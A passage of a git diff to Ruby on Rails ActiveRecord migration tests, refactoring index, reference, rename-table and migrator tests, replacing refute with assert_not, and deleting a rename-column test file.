+ connection.add_index("testings", ["last_name"], :length => 10)
+ connection.remove_index("testings", "last_name")
- connection.add_index("testings", ["last_name"], :length => {:last_name => 10})
- connection.remove_index("testings", ["last_name"])
+ connection.add_index("testings", ["last_name"], :length => {:last_name => 10})
+ connection.remove_index("testings", ["last_name"])
- connection.add_index("testings", ["last_name", "first_name"], :length => 10)
- connection.remove_index("testings", ["last_name", "first_name"])
+ connection.add_index("testings", ["last_name", "first_name"], :length => 10)
+ connection.remove_index("testings", ["last_name", "first_name"])
- connection.add_index("testings", ["last_name", "first_name"], :length => {:last_name => 10, :first_name => 20})
- connection.remove_index("testings", ["last_name", "first_name"])
- end
+ connection.add_index("testings", ["last_name", "first_name"], :length => {:last_name => 10, :first_name => 20})
+ connection.remove_index("testings", ["last_name", "first_name"])
- # quoting
- # Note: changed index name from "key" to "key_idx" since "key" is a Firebird reserved word
- # OpenBase does not have named indexes. You must specify a single column name
- unless current_adapter?(:OpenBaseAdapter)
- connection.add_index("testings", ["key"], :name => "key_idx", :unique => true)
- connection.remove_index("testings", :name => "key_idx", :unique => true)
- end
+ connection.add_index("testings", ["key"], :name => "key_idx", :unique => true)
+ connection.remove_index("testings", :name => "key_idx", :unique => true)
- # Sybase adapter does not support indexes on :boolean columns
- # OpenBase does not have named indexes. You must specify a single column
- unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter)
- connection.add_index("testings", %w(last_name first_name administrator), :name => "named_admin")
- connection.remove_index("testings", :name => "named_admin")
- end
+ connection.add_index("testings", %w(last_name first_name administrator), :name => "named_admin")
+ connection.remove_index("testings", :name => "named_admin")
# Selected adapters support index sort order
if current_adapter?(:SQLite3Adapter, :MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
@@ -187,15 +188,21 @@ module ActiveRecord
end
end
- def test_add_partial_index
- skip 'only on pg' unless current_adapter?(:PostgreSQLAdapter)
-
- connection.add_index("testings", "last_name", :where => "first_name = 'john doe'")
- assert connection.index_exists?("testings", "last_name")
+ if current_adapter?(:PostgreSQLAdapter)
+ def test_add_partial_index
+ connection.add_index("testings", "last_name", :where => "first_name = 'john doe'")
+ assert connection.index_exists?("testings", "last_name")
- connection.remove_index("testings", "last_name")
- assert !connection.index_exists?("testings", "last_name")
+ connection.remove_index("testings", "last_name")
+ assert !connection.index_exists?("testings", "last_name")
+ end
end
+
+ private
+ def good_index_name
+ 'x' * connection.allowed_index_name_length
+ end
+
end
end
end
diff --git a/activerecord/test/cases/migration/logger_test.rb b/activerecord/test/cases/migration/logger_test.rb
index ee0c20747e..319d3e1af3 100644
--- a/activerecord/test/cases/migration/logger_test.rb
+++ b/activerecord/test/cases/migration/logger_test.rb
@@ -3,10 +3,11 @@ require "cases/helper"
module ActiveRecord
class Migration
class LoggerTest < ActiveRecord::TestCase
- # mysql can't roll back ddl changes
+ # MySQL can't roll back ddl changes
self.use_transactional_fixtures = false
Migration = Struct.new(:name, :version) do
+ def disable_ddl_transaction; false end
def migrate direction
# do nothing
end
@@ -18,8 +19,7 @@ module ActiveRecord
ActiveRecord::SchemaMigration.delete_all
end
- def teardown
- super
+ teardown do
ActiveRecord::SchemaMigration.drop_table
end
@@ -34,4 +34,3 @@ module ActiveRecord
end
end
end
-
diff --git a/activerecord/test/cases/migration/pending_migrations_test.rb b/activerecord/test/cases/migration/pending_migrations_test.rb
new file mode 100644
index 0000000000..7afac83bd2
--- /dev/null
+++ b/activerecord/test/cases/migration/pending_migrations_test.rb
@@ -0,0 +1,53 @@
+require 'cases/helper'
+require "minitest/mock"
+
+module ActiveRecord
+ class Migration
+ class PendingMigrationsTest < ActiveRecord::TestCase
+ def setup
+ super
+ @connection = Minitest::Mock.new
+ @app = Minitest::Mock.new
+ conn = @connection
+ @pending = Class.new(CheckPending) {
+ define_method(:connection) { conn }
+ }.new(@app)
+ @pending.instance_variable_set :@last_check, -1 # Force checking
+ end
+
+ def teardown
+ assert @connection.verify
+ assert @app.verify
+ super
+ end
+
+ def test_errors_if_pending
+ @connection.expect :supports_migrations?, true
+
+ ActiveRecord::Migrator.stub :needs_migration?, true do
+ assert_raise ActiveRecord::PendingMigrationError do
+ @pending.call(nil)
+ end
+ end
+ end
+
+ def test_checks_if_supported
+ @connection.expect :supports_migrations?, true
+ @app.expect :call, nil, [:foo]
+
+ ActiveRecord::Migrator.stub :needs_migration?, false do
+ @pending.call(:foo)
+ end
+ end
+
+ def test_doesnt_check_if_unsupported
+ @connection.expect :supports_migrations?, false
+ @app.expect :call, nil, [:foo]
+
+ ActiveRecord::Migrator.stub :needs_migration?, true do
+ @pending.call(:foo)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/migration/references_index_test.rb b/activerecord/test/cases/migration/references_index_test.rb
index 264a99f9ce..ad6b828d0b 100644
--- a/activerecord/test/cases/migration/references_index_test.rb
+++ b/activerecord/test/cases/migration/references_index_test.rb
@@ -11,8 +11,7 @@ module ActiveRecord
@table_name = :testings
end
- def teardown
- super
+ teardown do
connection.drop_table :testings rescue nil
end
@@ -29,7 +28,7 @@ module ActiveRecord
t.references :foo
end
- refute connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
+ assert_not connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
end
def test_does_not_create_index_explicit
@@ -37,7 +36,7 @@ module ActiveRecord
t.references :foo, :index => false
end
- refute connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
+ assert_not connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
end
def test_creates_index_with_options
@@ -50,14 +49,14 @@ module ActiveRecord
assert connection.index_exists?(table_name, :bar_id, :name => :index_testings_on_bar_id, :unique => true)
end
- def test_creates_polymorphic_index
- return skip "Oracle Adapter does not support foreign keys if :polymorphic => true is used" if current_adapter? :OracleAdapter
+ unless current_adapter? :OracleAdapter
+ def test_creates_polymorphic_index
+ connection.create_table table_name do |t|
+ t.references :foo, :polymorphic => true, :index => true
+ end
- connection.create_table table_name do |t|
- t.references :foo, :polymorphic => true, :index => true
+ assert connection.index_exists?(table_name, [:foo_type, :foo_id], name: :index_testings_on_foo_type_and_foo_id)
end
-
- assert connection.index_exists?(table_name, [:foo_id, :foo_type], :name => :index_testings_on_foo_id_and_foo_type)
end
def test_creates_index_for_existing_table
@@ -75,7 +74,7 @@ module ActiveRecord
t.references :foo
end
- refute connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
+ assert_not connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
end
def test_does_not_create_index_for_existing_table_explicit
@@ -84,19 +83,19 @@ module ActiveRecord
t.references :foo, :index => false
end
- refute connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
+ assert_not connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
end
- def test_creates_polymorphic_index_for_existing_table
- return skip "Oracle Adapter does not support foreign keys if :polymorphic => true is used" if current_adapter? :OracleAdapter
- connection.create_table table_name
- connection.change_table table_name do |t|
- t.references :foo, :polymorphic => true, :index => true
- end
+ unless current_adapter? :OracleAdapter
+ def test_creates_polymorphic_index_for_existing_table
+ connection.create_table table_name
+ connection.change_table table_name do |t|
+ t.references :foo, :polymorphic => true, :index => true
+ end
- assert connection.index_exists?(table_name, [:foo_id, :foo_type], :name => :index_testings_on_foo_id_and_foo_type)
+ assert connection.index_exists?(table_name, [:foo_type, :foo_id], name: :index_testings_on_foo_type_and_foo_id)
+ end
end
-
end
end
end
diff --git a/activerecord/test/cases/migration/references_statements_test.rb b/activerecord/test/cases/migration/references_statements_test.rb
index d8a6565d54..988bd9c89f 100644
--- a/activerecord/test/cases/migration/references_statements_test.rb
+++ b/activerecord/test/cases/migration/references_statements_test.rb
@@ -22,7 +22,7 @@ module ActiveRecord
def test_does_not_create_reference_type_column
add_reference table_name, :taggable
- refute column_exists?(table_name, :taggable_type, :string)
+ assert_not column_exists?(table_name, :taggable_type, :string)
end
def test_creates_reference_type_column
@@ -37,12 +37,12 @@ module ActiveRecord
def test_does_not_create_reference_id_index
add_reference table_name, :user
- refute index_exists?(table_name, :user_id)
+ assert_not index_exists?(table_name, :user_id)
end
def test_creates_polymorphic_index
add_reference table_name, :taggable, polymorphic: true, index: true
- assert index_exists?(table_name, [:taggable_id, :taggable_type])
+ assert index_exists?(table_name, [:taggable_type, :taggable_id])
end
def test_creates_reference_type_column_with_default
@@ -55,21 +55,26 @@ module ActiveRecord
assert index_exists?(table_name, :tag_id, name: 'index_taggings_on_tag_id')
end
+ def test_creates_reference_id_with_specified_type
+ add_reference table_name, :user, type: :string
+ assert column_exists?(table_name, :user_id, :string)
+ end
+
def test_deletes_reference_id_column
remove_reference table_name, :supplier
- refute column_exists?(table_name, :supplier_id, :integer)
+ assert_not column_exists?(table_name, :supplier_id, :integer)
end
def test_deletes_reference_id_index
remove_reference table_name, :supplier
- refute index_exists?(table_name, :supplier_id)
+ assert_not index_exists?(table_name, :supplier_id)
end
def test_does_not_delete_reference_type_column
with_polymorphic_column do
remove_reference table_name, :supplier
- refute column_exists?(table_name, :supplier_id, :integer)
+ assert_not column_exists?(table_name, :supplier_id, :integer)
assert column_exists?(table_name, :supplier_type, :string)
end
end
@@ -77,14 +82,14 @@ module ActiveRecord
def test_deletes_reference_type_column
with_polymorphic_column do
remove_reference table_name, :supplier, polymorphic: true
- refute column_exists?(table_name, :supplier_type, :string)
+ assert_not column_exists?(table_name, :supplier_type, :string)
end
end
def test_deletes_polymorphic_index
with_polymorphic_column do
remove_reference table_name, :supplier, polymorphic: true
- refute index_exists?(table_name, [:supplier_id, :supplier_type])
+ assert_not index_exists?(table_name, [:supplier_id, :supplier_type])
end
end
@@ -95,7 +100,7 @@ module ActiveRecord
def test_remove_belongs_to_alias
remove_belongs_to table_name, :supplier
- refute column_exists?(table_name, :supplier_id, :integer)
+ assert_not column_exists?(table_name, :supplier_id, :integer)
end
private
diff --git a/activerecord/test/cases/migration/rename_column_test.rb b/activerecord/test/cases/migration/rename_column_test.rb
deleted file mode 100644
index d1a85ee5e4..0000000000
--- a/activerecord/test/cases/migration/rename_column_test.rb
+++ /dev/null
@@ -1,194 +0,0 @@
-require "cases/migration/helper"
-
-module ActiveRecord
- class Migration
- class RenameColumnTest < ActiveRecord::TestCase
- include ActiveRecord::Migration::TestHelper
-
- self.use_transactional_fixtures = false
-
- # FIXME: this is more of an integration test with AR::Base and the
- # schema modifications. Maybe we should move this?
- def test_add_rename
- add_column "test_models", "girlfriend", :string
- TestModel.reset_column_information
-
- TestModel.create :girlfriend => 'bobette'
-
- rename_column "test_models", "girlfriend", "exgirlfriend"
-
- TestModel.reset_column_information
- bob = TestModel.first
-
- assert_equal "bobette", bob.exgirlfriend
- end
-
- # FIXME: another integration test. We should decouple this from the
- # AR::Base implementation.
- def test_rename_column_using_symbol_arguments
- add_column :test_models, :first_name, :string
-
- TestModel.create :first_name => 'foo'
-
- rename_column :test_models, :first_name, :nick_name
- TestModel.reset_column_information
- assert TestModel.column_names.include?("nick_name")
- assert_equal ['foo'], TestModel.all.map(&:nick_name)
- end
-
- # FIXME: another integration test. We should decouple this from the
- # AR::Base implementation.
- def test_rename_column
- add_column "test_models", "first_name", "string"
-
- TestModel.create :first_name => 'foo'
-
- rename_column "test_models", "first_name", "nick_name"
- TestModel.reset_column_information
- assert TestModel.column_names.include?("nick_name")
- assert_equal ['foo'], TestModel.all.map(&:nick_name)
- end
-
- def test_rename_column_preserves_default_value_not_null
- add_column 'test_models', 'salary', :integer, :default => 70000
-
- default_before = connection.columns("test_models").find { |c| c.name == "salary" }.default
- assert_equal 70000, default_before
-
- rename_column "test_models", "salary", "anual_salary"
-
- assert TestModel.column_names.include?("anual_salary")
- default_after = connection.columns("test_models").find { |c| c.name == "anual_salary" }.default
- assert_equal 70000, default_after
- end
-
- def test_rename_nonexistent_column
- exception = if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
- ActiveRecord::StatementInvalid
- else
- ActiveRecord::ActiveRecordError
- end
- assert_raise(exception) do
- rename_column "test_models", "nonexistent", "should_fail"
- end
- end
-
- def test_rename_column_with_sql_reserved_word
- add_column 'test_models', 'first_name', :string
- rename_column "test_models", "first_name", "group"
-
- assert TestModel.column_names.include?("group")
- end
-
- def test_rename_column_with_an_index
- add_column "test_models", :hat_name, :string
- add_index :test_models, :hat_name
-
- # FIXME: we should test that the index goes away
- rename_column "test_models", "hat_name", "name"
- end
-
- def test_remove_column_with_index
- add_column "test_models", :hat_name, :string
- add_index :test_models, :hat_name
-
- # FIXME: we should test that the index goes away
- remove_column("test_models", "hat_name")
- end
-
- def test_remove_column_with_multi_column_index
- add_column "test_models", :hat_size, :integer
- add_column "test_models", :hat_style, :string, :limit => 100
- add_index "test_models", ["hat_style", "hat_size"], :unique => true
-
- # FIXME: we should test that the index goes away
- remove_column("test_models", "hat_size")
- end
-
- # FIXME: we need to test that these calls do something
- def test_change_type_of_not_null_column
- change_column "test_models", "updated_at", :datetime, :null => false
- change_column "test_models", "updated_at", :datetime, :null => false
- change_column "test_models", "updated_at", :datetime, :null => true
- end
-
- def test_change_column_nullability
- add_column "test_models", "funny", :boolean
- assert TestModel.columns_hash["funny"].null, "Column 'funny' must initially allow nulls"
-
- change_column "test_models", "funny", :boolean, :null => false, :default => true
-
- TestModel.reset_column_information
- refute TestModel.columns_hash["funny"].null, "Column 'funny' must *not* allow nulls at this point"
-
- change_column "test_models", "funny", :boolean, :null => true
- TestModel.reset_column_information
- assert TestModel.columns_hash["funny"].null, "Column 'funny' must allow nulls again at this point"
- end
-
- def test_change_column
- add_column 'test_models', 'age', :integer
- add_column 'test_models', 'approved', :boolean, :default => true
-
- old_columns = connection.columns(TestModel.table_name)
-
- assert old_columns.find { |c| c.name == 'age' && c.type == :integer }
-
- change_column "test_models", "age", :string
-
- new_columns = connection.columns(TestModel.table_name)
-
- refute new_columns.find { |c| c.name == 'age' and c.type == :integer }
- assert new_columns.find { |c| c.name == 'age' and c.type == :string }
-
- old_columns = connection.columns(TestModel.table_name)
- assert old_columns.find { |c|
- c.name == 'approved' && c.type == :boolean && c.default == true
- }
-
- change_column :test_models, :approved, :boolean, :default => false
- new_columns = connection.columns(TestModel.table_name)
-
- refute new_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == true }
- assert new_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == false }
- change_column :test_models, :approved, :boolean, :default => true
- end
-
- def test_change_column_with_nil_default
- add_column "test_models", "contributor", :boolean, :default => true
- assert TestModel.new.contributor?
-
- change_column "test_models", "contributor", :boolean, :default => nil
- TestModel.reset_column_information
- refute TestModel.new.contributor?
- assert_nil TestModel.new.contributor
- end
-
- def test_change_column_with_new_default
- add_column "test_models", "administrator", :boolean, :default => true
- assert TestModel.new.administrator?
-
- change_column "test_models", "administrator", :boolean, :default => false
- TestModel.reset_column_information
- refute TestModel.new.administrator?
- end
-
- def test_change_column_default
- add_column "test_models", "first_name", :string
- connection.change_column_default "test_models", "first_name", "Tester"
-
- assert_equal "Tester", TestModel.new.first_name
- end
-
- def test_change_column_default_to_null
- add_column "test_models", "first_name", :string
- connection.change_column_default "test_models", "first_name", nil
- assert_nil TestModel.new.first_name
- end
-
- def test_remove_column_no_second_parameter_raises_exception
- assert_raise(ArgumentError) { connection.remove_column("funny") }
- end
- end
- end
-end
diff --git a/activerecord/test/cases/migration/rename_table_test.rb b/activerecord/test/cases/migration/rename_table_test.rb
index 21901bec3c..c8b3f75e10 100644
--- a/activerecord/test/cases/migration/rename_table_test.rb
+++ b/activerecord/test/cases/migration/rename_table_test.rb
@@ -19,36 +19,31 @@ module ActiveRecord
super
end
- def test_rename_table_for_sqlite_should_work_with_reserved_words
- renamed = false
-
- skip "not supported" unless current_adapter?(:SQLite3Adapter)
-
- add_column :test_models, :url, :string
- connection.rename_table :references, :old_references
- connection.rename_table :test_models, :references
-
- renamed = true
-
- # Using explicit id in insert for compatibility across all databases
- connection.execute "INSERT INTO 'references' (url, created_at, updated_at) VALUES ('http://rubyonrails.com', 0, 0)"
- assert_equal 'http://rubyonrails.com', connection.select_value("SELECT url FROM 'references' WHERE id=1")
- ensure
- return unless renamed
- connection.rename_table :references, :test_models
- connection.rename_table :old_references, :references
+ if current_adapter?(:SQLite3Adapter)
+ def test_rename_table_for_sqlite_should_work_with_reserved_words
+ renamed = false
+
+ add_column :test_models, :url, :string
+ connection.rename_table :references, :old_references
+ connection.rename_table :test_models, :references
+
+ renamed = true
+
+ # Using explicit id in insert for compatibility across all databases
+ connection.execute "INSERT INTO 'references' (url, created_at, updated_at) VALUES ('http://rubyonrails.com', 0, 0)"
+ assert_equal 'http://rubyonrails.com', connection.select_value("SELECT url FROM 'references' WHERE id=1")
+ ensure
+ return unless renamed
+ connection.rename_table :references, :test_models
+ connection.rename_table :old_references, :references
+ end
end
def test_rename_table
rename_table :test_models, :octopi
- # Using explicit id in insert for compatibility across all databases
- connection.enable_identity_insert("octopi", true) if current_adapter?(:SybaseAdapter)
-
connection.execute "INSERT INTO octopi (#{connection.quote_column_name('id')}, #{connection.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')"
- connection.enable_identity_insert("octopi", false) if current_adapter?(:SybaseAdapter)
-
assert_equal 'http://www.foreverflying.com/octopus-black7.jpg', connection.select_value("SELECT url FROM octopi WHERE id=1")
end
@@ -57,23 +52,41 @@ module ActiveRecord
rename_table :test_models, :octopi
- # Using explicit id in insert for compatibility across all databases
- connection.enable_identity_insert("octopi", true) if current_adapter?(:SybaseAdapter)
connection.execute "INSERT INTO octopi (#{connection.quote_column_name('id')}, #{connection.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')"
- connection.enable_identity_insert("octopi", false) if current_adapter?(:SybaseAdapter)
assert_equal 'http://www.foreverflying.com/octopus-black7.jpg', connection.select_value("SELECT url FROM octopi WHERE id=1")
- assert connection.indexes(:octopi).first.columns.include?("url")
+ index = connection.indexes(:octopi).first
+ assert index.columns.include?("url")
+ assert_equal 'index_octopi_on_url', index.name
end
- def test_rename_table_for_postgresql_should_also_rename_default_sequence
- skip 'not supported' unless current_adapter?(:PostgreSQLAdapter)
+ def test_rename_table_does_not_rename_custom_named_index
+ add_index :test_models, :url, name: 'special_url_idx'
rename_table :test_models, :octopi
- pk, seq = connection.pk_and_sequence_for('octopi')
+ assert_equal ['special_url_idx'], connection.indexes(:octopi).map(&:name)
+ end
- assert_equal "octopi_#{pk}_seq", seq
+ if current_adapter?(:PostgreSQLAdapter)
+ def test_rename_table_for_postgresql_should_also_rename_default_sequence
+ rename_table :test_models, :octopi
+
+ pk, seq = connection.pk_and_sequence_for('octopi')
+
+ assert_equal ConnectionAdapters::PostgreSQL::Name.new("public", "octopi_#{pk}_seq"), seq
+ end
+
+ def test_renaming_table_doesnt_attempt_to_rename_non_existent_sequences
+ enable_extension!('uuid-ossp', connection)
+ connection.create_table :cats, id: :uuid
+ assert_nothing_raised { rename_table :cats, :felines }
+ assert connection.table_exists? :felines
+ ensure
+ disable_extension!('uuid-ossp', connection)
+ connection.drop_table :cats if connection.table_exists? :cats
+ connection.drop_table :felines if connection.table_exists? :felines
+ end
end
end
end
diff --git a/activerecord/test/cases/migration_test.rb b/activerecord/test/cases/migration_test.rb
index c155f29973..3192b797b4 100644
--- a/activerecord/test/cases/migration_test.rb
+++ b/activerecord/test/cases/migration_test.rb
@@ -5,13 +5,19 @@ require 'bigdecimal/util'
require 'models/person'
require 'models/topic'
require 'models/developer'
+require 'models/computer'
require MIGRATIONS_ROOT + "/valid/2_we_need_reminders"
require MIGRATIONS_ROOT + "/rename/1_we_need_things"
require MIGRATIONS_ROOT + "/rename/2_rename_things"
require MIGRATIONS_ROOT + "/decimal/1_give_me_big_numbers"
-class BigNumber < ActiveRecord::Base; end
+class BigNumber < ActiveRecord::Base
+ unless current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter)
+ attribute :value_of_e, Type::Integer.new
+ end
+ attribute :my_house_population, Type::Integer.new
+end
class Reminder < ActiveRecord::Base; end
@@ -24,15 +30,18 @@ class MigrationTest < ActiveRecord::TestCase
def setup
super
- %w(reminders people_reminders prefix_reminders_suffix).each do |table|
+ %w(reminders people_reminders prefix_reminders_suffix p_things_s).each do |table|
Reminder.connection.drop_table(table) rescue nil
end
Reminder.reset_column_information
- ActiveRecord::Migration.verbose = true
- ActiveRecord::Migration.message_count = 0
+ @verbose_was, ActiveRecord::Migration.verbose = ActiveRecord::Migration.verbose, false
+ ActiveRecord::Base.connection.schema_cache.clear!
end
- def teardown
+ teardown do
+ ActiveRecord::Base.table_name_prefix = ""
+ ActiveRecord::Base.table_name_suffix = ""
+
ActiveRecord::Base.connection.initialize_schema_migrations_table
ActiveRecord::Base.connection.execute "DELETE FROM #{ActiveRecord::Migrator.schema_migrations_table_name}"
@@ -44,6 +53,7 @@ class MigrationTest < ActiveRecord::TestCase
%w(reminders people_reminders prefix_reminders_suffix).each do |table|
Reminder.connection.drop_table(table) rescue nil
end
+ Reminder.reset_table_name
Reminder.reset_column_information
%w(last_name key bio age height wealth birthday favorite_day
@@ -52,12 +62,15 @@ class MigrationTest < ActiveRecord::TestCase
end
Person.connection.remove_column("people", "first_name") rescue nil
Person.connection.remove_column("people", "middle_name") rescue nil
- Person.connection.add_column("people", "first_name", :string, :limit => 40)
+ Person.connection.add_column("people", "first_name", :string)
Person.reset_column_information
+
+ ActiveRecord::Migration.verbose = @verbose_was
end
def test_migrator_versions
migrations_path = MIGRATIONS_ROOT + "/valid"
+ old_path = ActiveRecord::Migrator.migrations_paths
ActiveRecord::Migrator.migrations_paths = migrations_path
ActiveRecord::Migrator.up(migrations_path)
@@ -69,6 +82,40 @@ class MigrationTest < ActiveRecord::TestCase
assert_equal 0, ActiveRecord::Migrator.current_version
assert_equal 3, ActiveRecord::Migrator.last_version
assert_equal true, ActiveRecord::Migrator.needs_migration?
+
+ ActiveRecord::SchemaMigration.create!(:version => ActiveRecord::Migrator.last_version)
+ assert_equal true, ActiveRecord::Migrator.needs_migration?
+ ensure
+ ActiveRecord::Migrator.migrations_paths = old_path
+ end
+
+ def test_migration_detection_without_schema_migration_table
+ ActiveRecord::Base.connection.drop_table('schema_migrations') if ActiveRecord::Base.connection.table_exists?('schema_migrations')
+
+ migrations_path = MIGRATIONS_ROOT + "/valid"
+ old_path = ActiveRecord::Migrator.migrations_paths
+ ActiveRecord::Migrator.migrations_paths = migrations_path
+
+ assert_equal true, ActiveRecord::Migrator.needs_migration?
+ ensure
+ ActiveRecord::Migrator.migrations_paths = old_path
+ end
+
+ def test_any_migrations
+ old_path = ActiveRecord::Migrator.migrations_paths
+ ActiveRecord::Migrator.migrations_paths = MIGRATIONS_ROOT + "/valid"
+
+ assert ActiveRecord::Migrator.any_migrations?
+
+ ActiveRecord::Migrator.migrations_paths = MIGRATIONS_ROOT + "/empty"
+
+ assert_not ActiveRecord::Migrator.any_migrations?
+ ensure
+ ActiveRecord::Migrator.migrations_paths = old_path
+ end
+
+ def test_migration_version
+ ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/version_check", 20131219224947)
end
def test_create_table_with_force_true_does_not_drop_nonexisting_table
@@ -172,20 +219,18 @@ class MigrationTest < ActiveRecord::TestCase
end
def test_filtering_migrations
- assert !Person.column_methods_hash.include?(:last_name)
+ assert_no_column Person, :last_name
assert !Reminder.table_exists?
name_filter = lambda { |migration| migration.name == "ValidPeopleHaveLastNames" }
ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", &name_filter)
- Person.reset_column_information
- assert Person.column_methods_hash.include?(:last_name)
+ assert_column Person, :last_name
assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", &name_filter)
- Person.reset_column_information
- assert !Person.column_methods_hash.include?(:last_name)
+ assert_no_column Person, :last_name
assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
end
@@ -227,68 +272,122 @@ class MigrationTest < ActiveRecord::TestCase
assert migration.went_down, 'have not gone down'
end
- def test_migrator_one_up_with_exception_and_rollback
- unless ActiveRecord::Base.connection.supports_ddl_transactions?
- skip "not supported on #{ActiveRecord::Base.connection.class}"
+ if ActiveRecord::Base.connection.supports_ddl_transactions?
+ def test_migrator_one_up_with_exception_and_rollback
+ assert_no_column Person, :last_name
+
+ migration = Class.new(ActiveRecord::Migration) {
+ def version; 100 end
+ def migrate(x)
+ add_column "people", "last_name", :string
+ raise 'Something broke'
+ end
+ }.new
+
+ migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+
+ e = assert_raise(StandardError) { migrator.migrate }
+
+ assert_equal "An error has occurred, this and all later migrations canceled:\n\nSomething broke", e.message
+
+ assert_no_column Person, :last_name,
+ "On error, the Migrator should revert schema changes but it did not."
end
- refute Person.column_methods_hash.include?(:last_name)
+ def test_migrator_one_up_with_exception_and_rollback_using_run
+ assert_no_column Person, :last_name
- migration = Struct.new(:name, :version) {
- def migrate(x); raise 'Something broke'; end
- }.new('zomg', 100)
+ migration = Class.new(ActiveRecord::Migration) {
+ def version; 100 end
+ def migrate(x)
+ add_column "people", "last_name", :string
+ raise 'Something broke'
+ end
+ }.new
- migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+ migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
- e = assert_raise(StandardError) { migrator.migrate }
+ e = assert_raise(StandardError) { migrator.run }
- assert_equal "An error has occurred, this and all later migrations canceled:\n\nSomething broke", e.message
+ assert_equal "An error has occurred, this migration was canceled:\n\nSomething broke", e.message
- Person.reset_column_information
- refute Person.column_methods_hash.include?(:last_name)
+ assert_no_column Person, :last_name,
+ "On error, the Migrator should revert schema changes but it did not."
+ end
+
+ def test_migration_without_transaction
+ assert_no_column Person, :last_name
+
+ migration = Class.new(ActiveRecord::Migration) {
+ self.disable_ddl_transaction!
+
+ def version; 101 end
+ def migrate(x)
+ add_column "people", "last_name", :string
+ raise 'Something broke'
+ end
+ }.new
+
+ migrator = ActiveRecord::Migrator.new(:up, [migration], 101)
+ e = assert_raise(StandardError) { migrator.migrate }
+ assert_equal "An error has occurred, all later migrations canceled:\n\nSomething broke", e.message
+
+ assert_column Person, :last_name,
+ "without ddl transactions, the Migrator should not rollback on error but it did."
+ ensure
+ Person.reset_column_information
+ if Person.column_names.include?('last_name')
+ Person.connection.remove_column('people', 'last_name')
+ end
+ end
end
def test_schema_migrations_table_name
+ original_schema_migrations_table_name = ActiveRecord::Migrator.schema_migrations_table_name
+
+ assert_equal "schema_migrations", ActiveRecord::Migrator.schema_migrations_table_name
ActiveRecord::Base.table_name_prefix = "prefix_"
ActiveRecord::Base.table_name_suffix = "_suffix"
Reminder.reset_table_name
assert_equal "prefix_schema_migrations_suffix", ActiveRecord::Migrator.schema_migrations_table_name
+ ActiveRecord::Base.schema_migrations_table_name = "changed"
+ Reminder.reset_table_name
+ assert_equal "prefix_changed_suffix", ActiveRecord::Migrator.schema_migrations_table_name
ActiveRecord::Base.table_name_prefix = ""
ActiveRecord::Base.table_name_suffix = ""
Reminder.reset_table_name
- assert_equal "schema_migrations", ActiveRecord::Migrator.schema_migrations_table_name
+ assert_equal "changed", ActiveRecord::Migrator.schema_migrations_table_name
ensure
- ActiveRecord::Base.table_name_prefix = ""
- ActiveRecord::Base.table_name_suffix = ""
+ ActiveRecord::Base.schema_migrations_table_name = original_schema_migrations_table_name
+ Reminder.reset_table_name
end
- def test_proper_table_name
- assert_equal "table", ActiveRecord::Migrator.proper_table_name('table')
- assert_equal "table", ActiveRecord::Migrator.proper_table_name(:table)
- assert_equal "reminders", ActiveRecord::Migrator.proper_table_name(Reminder)
- Reminder.reset_table_name
- assert_equal Reminder.table_name, ActiveRecord::Migrator.proper_table_name(Reminder)
+ def test_proper_table_name_on_migration
+ reminder_class = new_isolated_reminder_class
+ migration = ActiveRecord::Migration.new
+ assert_equal "table", migration.proper_table_name('table')
+ assert_equal "table", migration.proper_table_name(:table)
+ assert_equal "reminders", migration.proper_table_name(reminder_class)
+ reminder_class.reset_table_name
+ assert_equal reminder_class.table_name, migration.proper_table_name(reminder_class)
# Use the model's own prefix/suffix if a model is given
ActiveRecord::Base.table_name_prefix = "ARprefix_"
ActiveRecord::Base.table_name_suffix = "_ARsuffix"
- Reminder.table_name_prefix = 'prefix_'
- Reminder.table_name_suffix = '_suffix'
- Reminder.reset_table_name
- assert_equal "prefix_reminders_suffix", ActiveRecord::Migrator.proper_table_name(Reminder)
- Reminder.table_name_prefix = ''
- Reminder.table_name_suffix = ''
- Reminder.reset_table_name
+ reminder_class.table_name_prefix = 'prefix_'
+ reminder_class.table_name_suffix = '_suffix'
+ reminder_class.reset_table_name
+ assert_equal "prefix_reminders_suffix", migration.proper_table_name(reminder_class)
+ reminder_class.table_name_prefix = ''
+ reminder_class.table_name_suffix = ''
+ reminder_class.reset_table_name
# Use AR::Base's prefix/suffix if string or symbol is given
ActiveRecord::Base.table_name_prefix = "prefix_"
ActiveRecord::Base.table_name_suffix = "_suffix"
- Reminder.reset_table_name
- assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name('table')
- assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name(:table)
- ActiveRecord::Base.table_name_prefix = ""
- ActiveRecord::Base.table_name_suffix = ""
- Reminder.reset_table_name
+ reminder_class.reset_table_name
+ assert_equal "prefix_table_suffix", migration.proper_table_name('table', migration.table_name_options)
+ assert_equal "prefix_table_suffix", migration.proper_table_name(:table, migration.table_name_options)
end
def test_rename_table_with_prefix_and_suffix
@@ -307,8 +406,6 @@ class MigrationTest < ActiveRecord::TestCase
assert_equal "hello world", Thing.first.content
ensure
